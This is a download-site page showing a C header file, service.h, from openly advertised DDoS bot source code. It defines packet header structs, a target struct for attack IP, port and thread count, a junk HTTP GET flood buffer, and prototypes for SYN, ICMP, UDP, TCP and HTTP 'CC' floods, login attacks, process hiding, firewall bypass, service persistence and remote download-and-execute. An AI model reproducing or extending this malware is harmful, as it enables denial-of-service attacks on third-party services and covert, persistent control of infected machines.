⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 service.h

📁 一款效果非常不错的DDOS源码。很强大的说
💻 H
字号:

#if !defined(AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_)
#define AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#include "winsock2.h"
#include "Ws2tcpip.h"

typedef struct tcphdr			//tcp头
{
	USHORT th_sport;			//16位源端口
	USHORT th_dport;			//16位目的端口
	unsigned int th_seq;		//32位序列号
	unsigned int th_ack;		//32位确认号
	unsigned char th_lenres;	//4位首部长度+6位保留字中的4位
	unsigned char th_flag;		//2位保留字+6位标志位
	USHORT th_win;				//16位窗口大小
	USHORT th_sum;				//16位校验和
	USHORT th_urp;				//16位紧急数据偏移量

}TCP_HEADER;

typedef struct _iphdr				//ip头
{ 
	unsigned char h_verlen;			//4位首部长度+4位IP版本号 
	unsigned char tos;				//8位服务类型TOS 
	unsigned short total_len;		//16位总长度(字节) 
	unsigned short ident;			//16位标识 
	unsigned short frag_and_flags;	//3位标志位 
	unsigned char ttl;				//8位生存时间TTL 
	unsigned char proto;			//8位协议号(TCP, UDP 或其他) 
	unsigned short	checksum;		//16位IP首部校验和 
	unsigned int sourceIP;			//32位源IP地址 
	unsigned int destIP;			//32位目的IP地址 
}IP_HEADER;

typedef struct tsd_hdr
{ 
	unsigned long  saddr;
	unsigned long  daddr;
	char           mbz; 
	char           ptcl;
	unsigned short tcpl;
}PSD_HEADER; 

/*ICMP Header*/
typedef struct _icmphdr				//定义ICMP首部
{
	BYTE   i_type;					//8位类型
	BYTE   i_code;					//8位代码
	USHORT i_cksum;					//16位校验和 
	USHORT i_id;					//识别号(一般用进程号作为识别号)
	USHORT i_seq;					//报文序列号	
	ULONG  timestamp;				//时间戳
}ICMP_HEADER;

#define ICMP_ECHO               8
#define MAX_PACKET       4096

const char icmpBuffer[4000]=
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
	"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp";

typedef struct _clientpara
{
		char		port[6];
		char		IP[32];
}CLIENTPARA;

typedef struct _fuckweb
{
	int FuckType;//攻击类型
	char FuckIP[100];//攻击IP
	int  FuckPort;//攻击端口
	int thread;
}FUCKWEB;//攻击信息结构体
typedef struct _tagSytemInit
{
	int nothing;
	int Pass;
	char computer[32];
	char MemorySize[20];
	char os[12];
	char version[12];
}SYSTEMINIT;//操作系统信息结构体

LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam);

void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
int RestoreService();
bool StopMyService();
bool StartMyService();
bool HideProcess();
int start();
void uninstall(void);
unsigned long CALLBACK MainProc(LPVOID pParam);
void ByPassFireWall();
bool GetSystemInfo(SYSTEMINIT& sysinfo);
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam);
char* GetHttpFile(char url[]);
bool doHTTP(char* ServerName,DWORD port,char* ActionFile,  char* Method,char* HttpHeaders, char* FormData);
void DownExec(char url[]);
void OpenUrl(char url[]);
unsigned long CALLBACK SocketThreadProc(LPVOID pParam);

//synflood
USHORT checksum(USHORT *buffer,int size);
unsigned long resolve(char *host);
unsigned long  CALLBACK SynFlood(LPVOID dParam);

//icmp flood
void fill_icmp_data(char *icmp_data, int datasize);
unsigned long  CALLBACK icmp_flood(LPVOID dParam);
//UDP attack
unsigned long  CALLBACK UDP_flood(LPVOID dParam);
unsigned long  CALLBACK Pjam_attack(LPVOID dParam);
//TCP attack
unsigned long  CALLBACK TCP_flood(LPVOID dParam);
unsigned long  CALLBACK connect_break(LPVOID dParam);
unsigned long  CALLBACK TCP_connect(LPVOID dParam);
//web attack
unsigned long  CALLBACK nocache_get(LPVOID dParam);
unsigned long  CALLBACK cc_attack(LPVOID dParam);
unsigned long  CALLBACK null_get(LPVOID dParam);

unsigned long  CALLBACK Login_Attack(LPVOID dParam);
#endif // !defined(AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -